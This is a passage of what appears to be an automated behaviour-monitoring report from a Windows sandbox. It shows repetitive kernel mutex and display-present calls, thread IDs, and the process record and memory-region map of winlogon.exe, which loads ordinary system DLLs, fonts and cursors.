ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.457] DxgkCddSubmitPresentHistory () returned 0x0 [0307.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.519] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0307.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.519] DxgkCddSubmitPresentHistory () returned 0x0 [0307.582] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.582] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0307.582] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.582] DxgkCddSubmitPresentHistory () returned 0x0 [0307.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.644] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0307.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.644] DxgkCddSubmitPresentHistory () returned 0x0 [0307.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.707] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0307.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.707] DxgkCddSubmitPresentHistory () returned 0x0 [0307.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.785] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0307.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.785] DxgkCddSubmitPresentHistory () returned 0x0 [0307.850] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.850] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0307.850] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.850] DxgkCddSubmitPresentHistory () returned 0x0 [0307.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0307.910] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0307.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0307.910] DxgkCddSubmitPresentHistory () returned 0x0 [0309.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0309.425] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0309.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0309.426] DxgkCddSubmitPresentHistory () returned 0x0 [0309.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0309.504] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0309.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0309.504] DxgkCddSubmitPresentHistory () returned 0x0 [0309.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0309.550] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0309.551] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0309.551] DxgkCddSubmitPresentHistory () returned 0x0 [0309.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0309.629] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0309.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0309.629] DxgkCddSubmitPresentHistory () returned 0x0 [0309.676] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0309.676] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0309.676] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0309.676] DxgkCddSubmitPresentHistory () returned 0x0 [0309.739] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0309.739] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0309.739] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0309.739] DxgkCddSubmitPresentHistory () returned 0x0 [0311.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.144] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0311.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.144] DxgkCddSubmitPresentHistory () returned 0x0 [0311.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.223] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0311.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.223] DxgkCddSubmitPresentHistory () returned 0x0 [0311.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.285] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0311.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.285] DxgkCddSubmitPresentHistory () returned 0x0 [0311.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.347] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0311.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.347] DxgkCddSubmitPresentHistory () returned 0x0 [0311.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.409] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0311.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.410] DxgkCddSubmitPresentHistory () returned 0x0 [0311.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.472] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0311.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.473] DxgkCddSubmitPresentHistory () returned 0x0 [0311.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.519] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0311.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.519] DxgkCddSubmitPresentHistory () returned 0x0 [0311.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.598] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0311.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.598] DxgkCddSubmitPresentHistory () returned 0x0 [0311.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.644] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0311.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.645] DxgkCddSubmitPresentHistory () returned 0x0 [0311.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.707] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0311.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.707] DxgkCddSubmitPresentHistory () returned 0x0 [0311.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.769] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0311.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.769] DxgkCddSubmitPresentHistory () returned 0x0 [0311.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.832] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0311.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.832] DxgkCddSubmitPresentHistory () returned 0x0 [0311.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.910] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0311.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.910] DxgkCddSubmitPresentHistory () returned 0x0 [0311.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0311.972] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0311.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0311.972] DxgkCddSubmitPresentHistory () returned 0x0 [0312.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0312.050] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0312.051] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0312.051] DxgkCddSubmitPresentHistory () returned 0x0 [0312.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0312.129] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0312.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0312.129] DxgkCddSubmitPresentHistory () returned 0x0 [0312.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0312.160] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0312.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0312.160] DxgkCddSubmitPresentHistory () returned 0x0 [0313.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0313.207] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0313.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0313.207] DxgkCddSubmitPresentHistory () returned 0x0 [0313.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0313.253] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0313.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0313.254] DxgkCddSubmitPresentHistory () returned 0x0 [0313.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0313.317] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0313.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0313.317] DxgkCddSubmitPresentHistory () returned 0x0 [0313.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0313.394] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0313.395] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0313.395] DxgkCddSubmitPresentHistory () returned 0x0 [0313.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0313.441] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0313.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0313.441] DxgkCddSubmitPresentHistory () returned 0x0 [0314.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0314.269] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0314.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0314.269] DxgkCddSubmitPresentHistory () returned 0x0 Thread: id = 210 os_tid = 0x198 Thread: id = 211 os_tid = 0x19c Thread: id = 212 os_tid = 0x1a0 Thread: id = 213 os_tid = 0x1a4 Thread: id = 228 os_tid = 0x1ec Thread: id = 232 os_tid = 0x1f8 Thread: id = 233 os_tid = 0x1fc Thread: id = 243 os_tid = 0x21c Thread: id = 267 os_tid = 0x280 Thread: id = 273 os_tid = 0x2a4 Thread: id = 950 os_tid = 0xbec Process: id = "38" image_name = "winlogon.exe" filename = "c:\\windows\\system32\\winlogon.exe" page_root = "0x62bfd000" os_pid = "0x1a8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "35" os_parent_pid = "0x17c" cmd_line = "winlogon.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 2798 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2799 start_va = 0xd67d6b0000 end_va = 0xd67d6cffff entry_point = 0x0 region_type = private name = "private_0x000000d67d6b0000" filename = "" Region: id = 2800 start_va = 0xd67d6d0000 end_va = 0xd67d6defff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67d6d0000" filename = "" Region: id = 2801 start_va = 0xd67d6e0000 end_va = 0xd67d75ffff entry_point = 0x0 region_type = private name = "private_0x000000d67d6e0000" filename = "" Region: id = 2802 start_va = 0x7ff78ddc0000 end_va = 0x7ff78dde2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff78ddc0000" filename = "" Region: id = 2803 start_va = 0x7ff78dde3000 end_va = 0x7ff78dde3fff entry_point = 0x0 region_type = private name = "private_0x00007ff78dde3000" filename = "" Region: id = 2804 start_va = 0x7ff78ddee000 end_va = 0x7ff78ddeffff entry_point = 0x0 region_type = private name = "private_0x00007ff78ddee000" filename = "" Region: id = 2805 start_va = 0x7ff78e180000 end_va = 0x7ff78e20ffff entry_point = 0x7ff78e180000 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 2806 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2816 start_va = 0xd67d920000 end_va = 0xd67da1ffff entry_point = 0x0 region_type = private name = "private_0x000000d67d920000" filename = "" Region: id = 2817 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2818 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2819 start_va = 0xd67d6b0000 end_va = 0xd67d6bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67d6b0000" filename = "" Region: id = 2820 start_va = 0x7ff78dcc0000 end_va = 0x7ff78ddbffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff78dcc0000" filename = "" Region: id = 2821 start_va = 0xd67d760000 end_va = 0xd67d7ddfff entry_point = 0xd67d760000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2822 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2823 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2824 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2826 start_va = 0x7ffd1cc50000 end_va = 0x7ffd1cc94fff entry_point = 0x7ffd1cc50000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 2827 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2828 start_va = 0xd67d6c0000 end_va = 0xd67d6c6fff entry_point = 0x0 region_type = private name = "private_0x000000d67d6c0000" filename = "" Region: id = 2830 start_va = 0xd67da20000 end_va = 0xd67dbbffff entry_point = 0x0 region_type = private name = "private_0x000000d67da20000" filename = "" Region: id = 2832 start_va = 0xd67d7e0000 end_va = 0xd67d7e6fff entry_point = 0x0 region_type = private name = "private_0x000000d67d7e0000" filename = "" Region: id = 2944 start_va = 0x7ffd1cb80000 end_va = 0x7ffd1cb97fff entry_point = 0x7ffd1cb80000 region_type = mapped_file name = "winlogonext.dll" filename = "\\Windows\\System32\\winlogonext.dll" (normalized: "c:\\windows\\system32\\winlogonext.dll") Region: id = 2969 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2980 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2992 start_va = 0xd67d7f0000 end_va = 0xd67d823fff entry_point = 0xd67d7f0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2993 start_va = 0xd67da20000 end_va = 0xd67dba7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67da20000" filename = "" Region: id = 2994 start_va = 0xd67dbb0000 end_va = 0xd67dbbffff entry_point = 0x0 region_type = private name = "private_0x000000d67dbb0000" filename = "" Region: id = 2995 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2996 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2997 start_va = 0xd67dbc0000 end_va = 0xd67dd40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67dbc0000" filename = "" Region: id = 2998 start_va = 0xd67d7f0000 end_va = 0xd67d7f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67d7f0000" filename = "" Region: id = 2999 start_va = 0xd67d800000 end_va = 0xd67d800fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67d800000" filename = "" Region: id = 3000 start_va = 0xd67d810000 end_va = 0xd67d810fff entry_point = 0x0 region_type = private name = "private_0x000000d67d810000" filename = "" Region: id = 3001 start_va = 0xd67d820000 end_va = 0xd67d820fff entry_point = 0x0 region_type = private name = "private_0x000000d67d820000" filename = "" Region: id = 3002 start_va = 0xd67dd50000 end_va = 0xd67e149fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67dd50000" filename = "" Region: id = 3003 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3004 start_va = 0xd67d830000 end_va = 0xd67d8affff entry_point = 0x0 region_type = private name = "private_0x000000d67d830000" filename = "" Region: id = 3005 start_va = 0x7ff78ddec000 end_va = 0x7ff78ddedfff entry_point = 0x0 region_type = private name = "private_0x00007ff78ddec000" filename = "" Region: id = 3007 start_va = 0xd67e150000 end_va = 0xd67e1cffff entry_point = 0x0 region_type = private name = "private_0x000000d67e150000" filename = "" Region: id = 3008 start_va = 0x7ff78ddea000 end_va = 0x7ff78ddebfff entry_point = 0x0 region_type = private name = "private_0x00007ff78ddea000" filename = "" Region: id = 3009 start_va = 0x7ffd1c7f0000 end_va = 0x7ffd1c7f3fff entry_point = 0x7ffd1c7f0000 region_type = mapped_file name = "kbdus.dll" filename = "\\Windows\\System32\\KBDUS.DLL" (normalized: "c:\\windows\\system32\\kbdus.dll") Region: id = 3010 start_va = 0xd67d8b0000 end_va = 0xd67d8b0fff entry_point = 0x0 region_type = private name = "private_0x000000d67d8b0000" filename = "" Region: id = 3011 start_va = 0xd67e1d0000 end_va = 0xd67eaf6fff entry_point = 0xd67e1d0000 region_type = mapped_file name = "malgun.ttf" filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf") Region: id = 3012 start_va = 0xd67e1d0000 end_va = 0xd67f671fff entry_point = 0xd67e1d0000 region_type = mapped_file name = "msyh.ttc" filename = "\\Windows\\Fonts\\msyh.ttc" (normalized: "c:\\windows\\fonts\\msyh.ttc") Region: id = 3013 start_va = 0xd67e1d0000 end_va = 0xd67f152fff entry_point = 0xd67e1d0000 region_type = mapped_file name = "batang.ttc" filename = "\\Windows\\Fonts\\batang.ttc" (normalized: "c:\\windows\\fonts\\batang.ttc") Region: id = 3014 start_va = 0xd67e1d0000 end_va = 0xd67ea51fff entry_point = 0xd67e1d0000 region_type = mapped_file name = "malgunbd.ttf" filename = "\\Windows\\Fonts\\malgunbd.ttf" (normalized: "c:\\windows\\fonts\\malgunbd.ttf") Region: id = 3015 start_va = 0xd67e1d0000 end_va = 0xd67e29bfff entry_point = 0xd67e1d0000 region_type = mapped_file name = "segoeuib.ttf" filename = "\\Windows\\Fonts\\segoeuib.ttf" (normalized: "c:\\windows\\fonts\\segoeuib.ttf") Region: id = 3016 start_va = 0xd67e1d0000 end_va = 0xd67eb6dfff entry_point = 0xd67e1d0000 region_type = mapped_file name = "msmincho.ttc" filename = "\\Windows\\Fonts\\msmincho.ttc" (normalized: "c:\\windows\\fonts\\msmincho.ttc") Region: id = 3017 start_va = 0xd67e1d0000 end_va = 0xd67e29dfff entry_point = 0xd67e1d0000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 3018 start_va = 0xd67e1d0000 end_va = 0xd67e286fff entry_point = 0xd67e1d0000 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 3019 start_va = 0xd67e1d0000 end_va = 0xd67f339fff entry_point = 0xd67e1d0000 region_type = mapped_file name = "simsun.ttc" filename = "\\Windows\\Fonts\\simsun.ttc" (normalized: "c:\\windows\\fonts\\simsun.ttc") Region: id = 3020 start_va = 0xd67e1d0000 end_va = 0xd67eb1afff entry_point = 0xd67e1d0000 region_type = mapped_file name = "meiryob.ttc" filename = "\\Windows\\Fonts\\meiryob.ttc" (normalized: "c:\\windows\\fonts\\meiryob.ttc") Region: id = 3021 start_va = 0xd67e1d0000 end_va = 0xd67ea98fff entry_point = 0xd67e1d0000 region_type = mapped_file name = "msgothic.ttc" filename = "\\Windows\\Fonts\\msgothic.ttc" (normalized: "c:\\windows\\fonts\\msgothic.ttc") Region: id = 3022 start_va = 0xd67e1d0000 end_va = 0xd67eeb5fff entry_point = 0xd67e1d0000 region_type = mapped_file name = "gulim.ttc" filename = "\\Windows\\Fonts\\gulim.ttc" (normalized: "c:\\windows\\fonts\\gulim.ttc") Region: id = 3023 start_va = 0xd67e1d0000 end_va = 0xd67ef94fff entry_point = 0xd67e1d0000 region_type = mapped_file name = "msjhbd.ttc" filename = "\\Windows\\Fonts\\msjhbd.ttc" (normalized: "c:\\windows\\fonts\\msjhbd.ttc") Region: id = 3024 start_va = 0xd67e1d0000 end_va = 0xd67ef9afff entry_point = 0xd67e1d0000 region_type = mapped_file name = "msyhbd.ttc" filename = "\\Windows\\Fonts\\msyhbd.ttc" (normalized: "c:\\windows\\fonts\\msyhbd.ttc") Region: id = 3025 start_va = 0xd67e1d0000 end_va = 0xd67e272fff entry_point = 0xd67e1d0000 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 3026 start_va = 0xd67e1d0000 end_va = 0xd67fc0bfff entry_point = 0xd67e1d0000 region_type = mapped_file name = "mingliu.ttc" filename = "\\Windows\\Fonts\\mingliu.ttc" (normalized: "c:\\windows\\fonts\\mingliu.ttc") Region: id = 3027 start_va = 0xd67e1d0000 end_va = 0xd67f64cfff entry_point = 0xd67e1d0000 region_type = mapped_file name = "msjh.ttc" filename = "\\Windows\\Fonts\\msjh.ttc" (normalized: "c:\\windows\\fonts\\msjh.ttc") Region: id = 3028 start_va = 0xd67e1d0000 end_va = 0xd67eae5fff entry_point = 0xd67e1d0000 region_type = mapped_file name = "meiryo.ttc" filename = "\\Windows\\Fonts\\meiryo.ttc" (normalized: "c:\\windows\\fonts\\meiryo.ttc") Region: id = 3029 start_va = 0xd67d8c0000 end_va = 0xd67d8c4fff entry_point = 0xd67d8c0000 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 3062 start_va = 0xd67d8d0000 end_va = 0xd67d8fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67d8d0000" filename = "" Region: id = 3063 start_va = 0x7ffd1c5d0000 end_va = 0x7ffd1c5d3fff entry_point = 0x7ffd1c5d0000 region_type = mapped_file name = "kbdus.dll" filename = "\\Windows\\System32\\KBDUS.DLL" (normalized: "c:\\windows\\system32\\kbdus.dll") Region: id = 3064 start_va = 0xd67d7f0000 end_va = 0xd67d7f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67d7f0000" filename = "" Region: id = 3065 start_va = 0xd67d800000 end_va = 0xd67d800fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67d800000" filename = "" Region: id = 3066 start_va = 0xd67d8b0000 end_va = 0xd67d8b4fff entry_point = 0xd67d8b0000 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 3067 start_va = 0xd67d8c0000 end_va = 0xd67d8c7fff entry_point = 0xd67d8c0000 region_type = mapped_file name = "aero_arrow.cur" filename = "\\Windows\\Cursors\\aero_arrow.cur" (normalized: "c:\\windows\\cursors\\aero_arrow.cur") Region: id = 3068 start_va = 0xd67dd50000 end_va = 0xd67ddd7fff entry_point = 0xd67dd50000 region_type = mapped_file name = "aero_busy.ani" filename = "\\Windows\\Cursors\\aero_busy.ani" (normalized: "c:\\windows\\cursors\\aero_busy.ani") Region: id = 3069 start_va = 0xd67d8c0000 end_va = 0xd67d8c7fff entry_point = 0xd67d8c0000 region_type = mapped_file name = "aero_up.cur" filename = "\\Windows\\Cursors\\aero_up.cur" (normalized: "c:\\windows\\cursors\\aero_up.cur") Region: id = 3070 